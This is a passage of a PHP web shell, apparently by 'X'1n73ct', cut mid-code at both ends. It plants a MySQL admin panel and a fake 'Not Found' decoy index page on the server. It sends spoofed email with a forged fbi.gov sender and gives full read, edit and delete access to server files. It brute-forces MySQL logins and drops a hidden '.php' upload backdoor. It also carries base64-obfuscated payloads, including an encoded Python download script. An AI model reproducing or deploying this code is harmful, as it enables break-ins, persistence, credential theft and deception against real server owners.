name=\$fieldname>\\n\";\r\n\t\t\t\telse if( \$type == \"set\" )\r\n\t\t\t\t\techo \"<select name=\$fieldname size=4 multiple>\\n\";\r\n\t\t\t\twhile( \$str = strtok( \"'\" ) ) {\r\n\t\t\t\t\tif( \$value == \$str )\r\n\t\t\t\t\t\techo \"<option selected>\$str\\n\";\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \"<option>\$str\\n\";\r\n\t\t\t\t\tstrtok( \"'\" );\r\n\t\t\t\t}\r\n\t\t\t\techo \"</select>\\n\";\r\n\t\t\t\techo \"</td>\\n\";\r\n\t\t\t} else {\r\n\t\t\t\tif( \$len < 40 )\r\n\t\t\t\t\techo \"<td><input type=text size=40 maxlength=\$len name=\$fieldname value=\\\"\$value\\\"></td>\\n\";\r\n\t\t\t\telse\r\n\t\t\t\t\techo \"<td><textarea cols=40 rows=3 maxlength=\$len name=\$fieldname>\$value</textarea>\\n\";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo \"</tr>\";\r\n\t}\r\n\techo \"</table><p>\\n\";\r\n\tif( \$cmd == \"add\" )\r\n\t\techo \"<input type=submit value='Add Data'>\\n\";\r\n\telse if( \$cmd == \"edit\" )\r\n\t\techo \"<input type=submit value='Edit Data'>\\n\";\r\n\techo \"<input type=button value='Cancel' onClick='history.back()'>\\n\";\r\n\techo \"</form>\\n\";\r\n}\r\n\r\nfunction manageData_submit( \$cmd ) {\r\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF, \$queryStr, \$errMsg;\r\n\t\$pResult = mysql_list_fields( \$dbname, \$tablename );\r\n\t\$num = mysql_num_fields( \$pResult );\r\n\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\tif( \$cmd == \"add\" )\r\n\t\t\$queryStr = \"INSERT INTO \$tablename VALUES (\";\r\n\telse if( \$cmd == \"edit\" )\r\n\t\t\$queryStr = \"REPLACE INTO \$tablename VALUES (\";\r\n\tfor( \$i = 0; \$i < \$num-1; \$i++ ) {\r\n\t\t\$field = mysql_fetch_field( \$pResult );\r\n\t\t\$func = \$GLOBALS[\$field->name.\"_function\"];\r\n\t\tif( \$func != \"\" )\r\n\t\t\t\$queryStr .= \" \$func(\";\r\n\t\tif( \$field->numeric == 1 ) {\r\n\t\t\t\$queryStr .= \$GLOBALS[\$field->name];\r\n\t\t\tif( \$func != \"\" )\r\n\t\t\t\t\$queryStr .= \"),\";\r\n\t\t\telse\r\n\t\t\t\t\$queryStr .= \",\";\r\n\t\t} else {\r\n\t\t\t\$queryStr .= \"'\" . \$GLOBALS[\$field->name];\r\n\t\t\tif( \$func != \"\" )\r\n\t\t\t\t\$queryStr .= \"'),\";\r\n\t\t\telse\r\n\t\t\t\t\$queryStr .= \"',\";\r\n\t\t}\r\n\t}\r\n\t\$field = mysql_fetch_field( \$pResult );\r\n\tif( \$field->numeric == 1 )\r\n\t\t\$queryStr .= \$GLOBALS[\$field->name] . \")\";\r\n\telse\r\n\t\t\$queryStr .= \"'\" . \$GLOBALS[\$field->name] . \"')\";\r\n\tmysql_query( \$queryStr , \$mysqlHandle );\r\n\t\$errMsg = mysql_error();\r\n\tviewData( \"\" );\r\n}\r\n\r\nfunction deleteData() {\r\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF, \$queryStr, \$errMsg;\r\n\t\$pResult = mysql_list_fields( \$dbname, \$tablename );\r\n\t\$num = mysql_num_fields( \$pResult );\r\n\t\$key = \"\";\r\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\r\n\t\t\$field = mysql_fetch_field( \$pResult, \$i );\r\n\t\tif( \$field->primary_key == 1 )\r\n\t\t\tif( \$field->numeric == 1 )\r\n\t\t\t\t\$key .= \$field->name . \"=\" . \$GLOBALS[\$field->name] . \" AND \";\r\n\t\t\telse\r\n\t\t\t\t\$key .= \$field->name . \"='\" . \$GLOBALS[\$field->name] . \"' AND \";\r\n\t}\r\n\t\$key = substr( \$key, 0, strlen(\$key)-4 );\r\n\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\t\$queryStr = \"DELETE FROM \$tablename WHERE \$key\";\r\n\tmysql_query( \$queryStr, \$mysqlHandle );\r\n\t\$errMsg = mysql_error();\r\n\tviewData( \"\" );\r\n}\r\n\r\nfunction fetch_table_dump_sql(\$table)\r\n{\r\n\tglobal \$mysqlHandle,\$dbname;\r\n\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\t\$query_id = mysql_query(\"SHOW CREATE TABLE \$table\",\$mysqlHandle);\r\n\t\$tabledump = mysql_fetch_array(\$query_id, MYSQL_ASSOC);\r\n\t\$tabledump = \"DROP TABLE IF EXISTS \$table;\\n\" . \$tabledump['Create Table'] . \";\\n\\n\";\r\n\techo \$tabledump;\r\n\t// get data\r\n\t\$rows = mysql_query(\"SELECT * FROM \$table\",\$mysqlHandle);\r\n\t\$numfields=mysql_num_fields(\$rows);\r\n\twhile (\$row = mysql_fetch_array(\$rows, MYSQL_NUM))\r\n\t{\r\n\t\t\$tabledump = \"INSERT INTO \$table VALUES(\";\r\n\t\t\$fieldcounter = -1;\r\n\t\t\$firstfield = 1;\r\n\t\t// get each field's data\r\n\t\twhile (++\$fieldcounter < \$numfields)\r\n\t\t{\r\n\t\t\tif (!\$firstfield)\r\n\t\t\t{\r\n\t\t\t\t\$tabledump .= ', ';\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\$firstfield = 0;\r\n\t\t\t}\r\n\t\t\tif (!isset(\$row[\"\$fieldcounter\"]))\r\n\t\t\t{\r\n\t\t\t\t\$tabledump .= 'NULL';\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\$tabledump .= \"'\" . mysql_escape_string(\$row[\"\$fieldcounter\"]) . \"'\";\r\n\t\t\t}\r\n\t\t}\r\n\t\t\$tabledump .= \");\\n\";\r\n\t\techo \$tabledump;\r\n\t}\r\n\t@mysql_free_result(\$rows);\r\n}\r\n\r\nfunction dump() {\r\n\tglobal \$mysqlHandle, \$action, \$dbname, \$tablename;\r\n\tif( \$action == \"dumpTable\" ){\r\n\t\theader(\"Content-disposition: filename=\$tablename.sql\");\r\n\t\theader('Content-type: unknown/unknown');\r\n\t\tfetch_table_dump_sql(\$tablename);\r\n\t\techo \"\\n\\n\\n\";\r\n\t\techo \"\\r\\n\\r\\n\\r\\n### \$tablename TABLE DUMP COMPLETED ###\";\r\n\t\texit;\r\n\t}else{\r\n\t\theader(\"Content-disposition: filename=\$dbname.sql\");\r\n\t\theader('Content-type: unknown/unknown');\r\n\t\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\t\t\$query_id = mysql_query(\"SHOW tables\",\$mysqlHandle);\r\n\t\twhile (\$row = mysql_fetch_array(\$query_id, MYSQL_NUM))\r\n\t\t{\r\n\t\t\t\tfetch_table_dump_sql(\$row[0]);\r\n\t\t\t\techo \"\\n\\n\\n\";\r\n\t\t\t\techo \"\\r\\n\\r\\n\\r\\n### \$row[0] TABLE DUMP COMPLETED ###\";\r\n\t\t\t\techo \"\\n\\n\\n\";\r\n\t\t}\r\n\t\techo \"\\r\\n\\r\\n\\r\\n### \$dbname DATABASE DUMP COMPLETED ###\";\r\n\t\texit;\r\n\t}\r\n}\r\n\r\nfunction utils() {\r\n\tglobal \$PHP_SELF, \$command;\r\n\techo \"<h1>Utilities</h1>\\n\";\r\n\tif( \$command == \"\" || substr( \$command, 0, 5 ) == \"flush\" ) {\r\n\t\techo \"<hr>\\n\";\r\n\t\techo \"Show\\n\";\r\n\t\techo \"<ul>\\n\";\r\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=show_status'>Status</a>\\n\";\r\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=show_variables'>Variables</a>\\n\";\r\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\\n\";\r\n\t\techo \"</ul>\\n\";\r\n\t\techo \"Flush\\n\";\r\n\t\techo \"<ul>\\n\";\r\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\\n\";\r\n\t\tif( \$command == \"flush_hosts\" ) {\r\n\t\t\tif( mysql_query( \"Flush hosts\" ) != false )\r\n\t\t\t\techo \"- Success\";\r\n\t\t\telse\r\n\t\t\t\techo \"- Fail\";\r\n\t\t}\r\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\\n\";\r\n\t\tif( \$command == \"flush_logs\" ) {\r\n\t\t\tif( mysql_query( \"Flush logs\" ) != false )\r\n\t\t\t\techo \"- Success\";\r\n\t\t\telse\r\n\t\t\t\techo \"- Fail\";\r\n\t\t}\r\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\\n\";\r\n\t\tif( \$command == \"flush_privileges\" ) {\r\n\t\t\tif( mysql_query( \"Flush privileges\" ) != false )\r\n\t\t\t\techo \"- Success\";\r\n\t\t\telse\r\n\t\t\t\techo \"- Fail\";\r\n\t\t}\r\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\\n\";\r\n\t\tif( \$command == \"flush_tables\" ) {\r\n\t\t\tif( mysql_query( \"Flush tables\" ) != false )\r\n\t\t\t\techo \"- Success\";\r\n\t\t\telse\r\n\t\t\t\techo \"- Fail\";\r\n\t\t}\r\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_status'>Status</a>\\n\";\r\n\t\tif( \$command == \"flush_status\" ) {\r\n\t\t\tif( mysql_query( \"Flush status\" ) != false )\r\n\t\t\t\techo \"- Success\";\r\n\t\t\telse\r\n\t\t\t\techo \"- Fail\";\r\n\t\t}\r\n\t\techo \"</ul>\\n\";\r\n\t} else {\r\n\t\t\$queryStr = ereg_replace( \"_\", \" \", \$command );\r\n\t\t\$pResult = mysql_query( \$queryStr );\r\n\t\tif( \$pResult == false ) {\r\n\t\t\techo \"Fail\";\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t\$col = mysql_num_fields( \$pResult );\r\n\t\techo \"<p class=location>\$queryStr</p>\\n\";\r\n\t\techo \"<hr>\\n\";\r\n\t\techo \"<table cellspacing=1 cellpadding=2 border=0>\\n\";\r\n\t\techo \"<tr>\\n\";\r\n\t\tfor( \$i = 0; \$i < \$col; \$i++ ) {\r\n\t\t\t\$field = mysql_fetch_field( \$pResult, \$i );\r\n\t\t\techo \"<th>\".\$field->name.\"</th>\\n\";\r\n\t\t}\r\n\t\techo \"</tr>\\n\";\r\n\t\twhile( 1 ) {\r\n\t\t\t\$rowArray = mysql_fetch_row( \$pResult );\r\n\t\t\tif( \$rowArray == false ) break;\r\n\t\t\techo \"<tr>\\n\";\r\n\t\t\tfor( \$j = 0; \$j < \$col; \$j++ )\r\n\t\t\t\techo \"<td>\".htmlspecialchars( \$rowArray[\$j] ).\"</td>\\n\";\r\n\t\t\techo \"</tr>\\n\";\r\n\t\t}\r\n\t\techo \"</table>\\n\";\r\n\t}\r\n}\r\nfunction footer_html() {\r\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$USERNAME;\r\n\techo \"<hr>\\n\";\r\n\techo \"<span class=\\\"new\\\">[\$USERNAME]</span> - \\n\";\r\n\techo \"<a href='\$PHP_SELF?action=bGlzdERCcw=='>Database List</a> | \\n\";\r\n\tif( \$tablename != \"\" )\r\n\t\techo \"<a href='\$PHP_SELF?action=listTables&dbname=\$dbname&tablename=\$tablename'>Table List</a> | \";\r\n\techo \"<a href='\$PHP_SELF?action=utils'>Utils</a> |\\n\";\r\n\techo \"<a href='\$PHP_SELF?action=logout'>Logout</a>\\n\";\r\n}\r\n//------------- MAIN ------------- //\r\nerror_reporting(0);\r\nini_set ('display_errors', 0);\r\nini_set ('log_errors', 0);\r\nif( \$action == \"logon\" || \$action == \"\" || \$action == \"logout\" )\r\n\tlogon();\r\nelse if( \$action == \"bG9nb25fc3VibWl0\" )\r\n\tlogon_submit();\r\nelse if( \$action == \"dumpTable\" || \$action == \"dumpDB\" ) {\r\n\twhile( list(\$var, \$value) = each(\$HTTP_COOKIE_VARS) ) {\r\n\t\tif( \$var == \"mysql_web_admin_username\" ) \$USERNAME = \$value;\r\n\t\tif( \$var == \"mysql_web_admin_password\" ) \$PASSWORD = \$value;\r\n\t\tif( \$var == \"mysql_web_admin_hostname\" ) \$HOSTNAME = \$value;\r\n\t}\r\n\t\$mysqlHandle = @mysql_connect( \$HOSTNAME.\":3306\", \$USERNAME, \$PASSWORD );\r\n\tdump();\r\n} else {\r\n\twhile( list(\$var, \$value) = each(\$HTTP_COOKIE_VARS) ) {\r\n\t\tif( \$var == \"mysql_web_admin_username\" ) \$USERNAME = \$value;\r\n\t\tif( \$var == \"mysql_web_admin_password\" ) \$PASSWORD = \$value;\r\n\t\tif( \$var == \"mysql_web_admin_hostname\" ) \$HOSTNAME = \$value;\r\n\t}\r\n\techo \"<!--\";\r\n\t\$mysqlHandle = @mysql_connect( \$HOSTNAME.\":3306\", \$USERNAME, \$PASSWORD );\r\n\techo \"-->\";\r\n\tif( \$mysqlHandle == false ) {\r\n\t\techo \"<table width=100% height=100%><tr><td><center>\\n\";\r\n\t\techo \"<h1>Wrong Password!</h1>\\n\";\r\n\t\techo \"<a href='\$PHP_SELF?action=logon'>Logon</a>\\n\";\r\n\t\techo \"</center></td></tr></table>\\n\";\r\n\t} else {\r\n\t\tif( \$action == \"bGlzdERCcw==\" )\r\n\t\t\tlistDatabases();\r\n\t\telse if( \$action == \"createDB\" )\r\n\t\t\tcreateDatabase();\r\n\t\telse if( \$action == \"dropDB\" )\r\n\t\t\tdropDatabase();\r\n\t\telse if( \$action == \"listTables\" )\r\n\t\t\tlistTables();\r\n\t\telse if( \$action == \"createTable\" )\r\n\t\t\tcreateTable();\r\n\t\telse if( \$action == \"dropTable\" )\r\n\t\t\tdropTable();\r\n\t\telse if( \$action == \"viewSchema\" )\r\n\t\t\tviewSchema();\r\n\t\telse if( \$action == \"query\" )\r\n\t\t\tviewData( \$queryStr );\r\n\t\telse if( \$action == \"addField\" )\r\n\t\t\tmanageField( \"add\" );\r\n\t\telse if( \$action == \"addField_submit\" )\r\n\t\t\tmanageField_submit( \"add\" );\r\n\t\telse if( \$action == \"editField\" )\r\n\t\t\tmanageField( \"edit\" );\r\n\t\telse if( \$action == \"editField_submit\" )\r\n\t\t\tmanageField_submit( \"edit\" );\r\n\t\telse if( \$action == \"dropField\" )\r\n\t\t\tdropField();\r\n\t\telse if( \$action == \"dmlld0RhdGE=\" )\r\n\t\t\tviewData( \"\" );\r\n\t\telse if( \$action == \"addData\" )\r\n\t\t\tmanageData( \"add\" );\r\n\t\telse if( \$action == \"addData_submit\" )\r\n\t\t\tmanageData_submit( \"add\" );\r\n\t\telse if( \$action == \"editData\" )\r\n\t\t\tmanageData( \"edit\" );\r\n\t\telse if( \$action == \"editData_submit\" )\r\n\t\t\tmanageData_submit( \"edit\" );\r\n\t\telse if( \$action == \"deleteData\" )\r\n\t\t\tdeleteData();\r\n\t\telse if( \$action == \"utils\" )\r\n\t\t\tutils();\r\n\t\tmysql_close( \$mysqlHandle);\r\n\t\tfooter_html();\r\n\t}\r\n}\r\n?>\r\n<html>\r\n<head>\r\n<title>MySQL Interface (Developed By Mohajer22)</title>\r\n<body bgColor=#000000 >\r\n<style type=\"text/css\">\r\n<!--\r\np.location {\r\n\tcolor: #00FF00;\r\n}\r\nh1, h2, h3 {\r\n\tcolor: #00FF00;\r\n}\r\nth {\r\n\tbackground-color: #222222;\r\n\tcolor: #00FF00;\r\n\tfont-size: small;\r\n}\r\ntd {\r\n\tcolor: #00FF00;\r\n\tbackground-color: #444444;\r\n\tfont-size: small;\r\n}\r\nform {\r\n\tmargin-top: 0;\r\n\tmargin-bottom: 0;\r\n}\r\na {\r\n\ttext-decoration:none;\r\n\tcolor: #00FF00;\r\n\tfont-size:small;\r\n}\r\nA:link {\r\nCOLOR:#FFFFFF;\r\nTEXT-DECORATION: none\r\n}\r\nA:visited {\r\nCOLOR:#00FF00;\r\nTEXT-DECORATION: none\r\n}\r\nA:active {\r\nCOLOR:#00FF00;\r\nTEXT-DECORATION: none\r\n}\r\nA:hover {\r\ncolor:#00FF00;\r\nTEXT-DECORATION: none\r\n}\r\ninput, select, textarea {\r\nbackground-color: #000000;\r\nborder-style: solid;\r\nfont-family: Tahoma,Verdana,Arial,Sans-Serif;\r\nfont-size:small;\r\ncolor: #00FF00;\r\npadding: 0px;\r\n}\r\nli {\r\ncolor: #00FF00;\r\n}\r\n.new {\r\ncolor: #00FF00;\r\n}\r\n//-->\r\n</style>\r\n</head>");
fclose($file);
chmod("db-sql.php", 0644);
$indexshell = fopen("index.php", "w+");
$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
$tulis = fwrite($indexshell, "<h1>Not Found</h1> \r\n<p>The requested URL was not found on this server.</p> \r\n<hr> \r\n<address>Apache Server at <?=\$_SERVER['HTTP_HOST']?> Port 80</address> \r\n <style> \r\n input { margin:0;background-color:#fff;border:1px solid #fff; } \r\n </style>");
fclose($indexshell);
echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'mail') {
if (isset($_POST['mail_send'])) {
$mail_to = $_POST['mail_to'];
$mail_from = $_POST['mail_from'];
$mail_subject = $_POST['mail_subject'];
$mail_content = magicboom($_POST['mail_content']);
if (@mail($mail_to, $mail_subject, $mail_content, "FROM:{$mail_from}")) {
$msg = "email sent to {$mail_to}";
} else {
$msg = "send email failed";
}
}
?>
<form action="?y=<?php
echo $pwd;
?>&x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" /> mail to</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="X-1n73ct@fbi.gov" name="mail_from" /> from</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td> <?php
echo $msg;
?></td></tr>
</table>
</form>
<?php
} elseif (isset($_GET['x']) && $_GET['x'] == 'phpinfo') {
@ob_start();
@phpinfo();
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff, "<body>") + 6;
$akhir = strpos($buff, "</body>");
echo "<div class=\"phpinfo\">" . substr($buff, $awal, $akhir - $awal) . "</div>";
} elseif (isset($_GET['view']) && $_GET['view'] != "") {
if (is_file($_GET['view'])) {
if (!isset($file)) {
$file = magicboom($_GET['view']);
}
if (!$win && $posix) {
$name = @posix_getpwuid(@fileowner($folder));
$group = @posix_getgrgid(@filegroup($folder));
$owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
} else {
$owner = $user;
}
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">\r\n\t<tr><td>Filename</td><td><span id=\"" . clearspace($filn) . "_link\">" . $file . "</span>\r\n\t<form action=\"?y=" . $pwd . "&view={$file}\" method=\"post\" id=\"" . clearspace($filn) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\t\t<input type=\"hidden\" name=\"oldname\" value=\"" . $filn . "\" style=\"margin:0;padding:0;\" />\r\n\t\t<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $filn . "\" />\r\n\t\t<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />\r\n\t\t<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\" />\r\n\t</form>\r\n\t</td></tr>\r\n\t<tr><td>Size</td><td>" . ukuran($file) . "</td></tr>\r\n\t<tr><td>Permission</td><td>" . get_perms($file) . "</td></tr>\r\n\t<tr><td>Owner</td><td>" . $owner . "</td></tr>\r\n\t<tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr>\r\n\t<tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr>\r\n\t<tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr>\r\n\t<tr><td>Actions</td><td><a href=\"?y={$pwd}&edit={$file}\">edit</a> | <a href=\"javascript:tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\">rename</a> | <a href=\"?y={$pwd}&delete={$file}\">delete</a> | <a href=\"?y={$pwd}&dl={$file}\">download</a> (<a href=\"?y={$pwd}&dlgzip={$file}\">gzip</a>)</td></tr>\r\n\t<tr><td>View</td><td><a href=\"?y=" . $pwd . "&view=" . $file . "\">text</a> | <a href=\"?y=" . $pwd . "&view=" . $file . "&type=code\">code</a> | <a href=\"?y=" . $pwd . "&view=" . $file . "&type=image\">image</a></td></tr>\r\n\t</table>\r\n\t";
if (isset($_GET['type']) && $_GET['type'] == 'image') {
echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=" . $pwd . "&img=" . $filn . "\"></div>";
} elseif (isset($_GET['type']) && $_GET['type'] == 'code') {
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file), "240", "\n");
@highlight_string($file);
echo "</div>";
} else {
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities(@file_get_contents($file)));
echo "</div>";
}
} elseif (is_dir($_GET['view'])) {
echo showdir($pwd, $prompt);
}
} elseif (isset($_GET['edit']) && $_GET['edit'] != "") {
if (isset($_POST['save'])) {
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if ($filez = @fopen($file, "w")) {
$time = date("d-M-Y H:i", time());
if (@fwrite($filez, $content)) {
$msg = "file saved <span class=\"gaya\">@</span> " . $time;
} else {
$msg = "failed to save";
}
@fclose($filez);
} else {
$msg = "permission denied";
}
}
if (!isset($file)) {
$file = $_GET['edit'];
}
if ($filez = @fopen($file, "r")) {
$content = "";
while (!feof($filez)) {
$content .= htmlentities(str_replace("''", "'", fgets($filez)));
}
@fclose($filez);
}
?>
<form action="?y=<?php
echo $pwd;
?>&edit=<?php
echo $file;
?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php
echo $content;
?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php
echo $file;
?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
<?php
echo $msg;
?></td></tr>
</table>
</form>
<?php
} elseif (isset($_GET['x']) && $_GET['x'] == 'logout') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=logout" method="post">
<?php
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo "bye!";
} elseif (isset($_GET['x']) && $_GET['x'] == 'brute') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=brute" method="post">
<?php
//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By X'1n73ct
*/
@set_time_limit(0);
@error_reporting(0);
if ($_POST['page'] == 'find') {
if (isset($_POST['usernames']) && isset($_POST['passwords'])) {
if ($_POST['type'] == 'passwd') {
$e = explode("\n", $_POST['usernames']);
foreach ($e as $value) {
$k = explode(":", $value);
$username .= $k['0'] . " ";
}
} elseif ($_POST['type'] == 'simple') {
$username = str_replace("\n", ' ', $_POST['usernames']);
}
$a1 = explode(" ", $username);
$a2 = explode("\n", $_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach ($a1 as $user) {
if ($user !== '') {
$user = trim($user);
for ($i = 0; $i <= $id2; $i++) {
$pass = trim($a2[$i]);
if (@mysql_connect('localhost', $user, $pass)) {
echo "X'1n73ct~ user is (<b><font color=green>{$user}</font></b>) Password is (<b><font color=green>{$pass}</font></b>)<br />";
$ok++;
}
}
}
}
echo "<hr><b>You Found <font color=green>{$ok}</font> Cpanel by x'1n73ct</b>";
echo "<center><b><a href=" . $_SERVER['PHP_SELF'] . ">BACK</a>";
exit;
}
}
if ($_POST['pass'] == 'password') {
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i', time());
$h = $_SERVER['HTTP_HOST'];
$dir = $_SERVER['PHP_SELF'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php", "w+");
$write = fwrite($file, "<?php\r\necho '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">';\r\necho '<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>';\r\nif( \$_POST['_upl'] == \"Upload\" ) {\r\nif(@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Korang Dah Berjaya Upload Shell Korang!!!<b><br><br>'; }\r\nelse { echo '<b>Korang Gagal Upload Shell Korang!!!</b><br><br>'; }\r\n}\r\n?>");
fclose($file);
chmod(".php", 0755);
mkdir('config', 0755);
$cp = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25c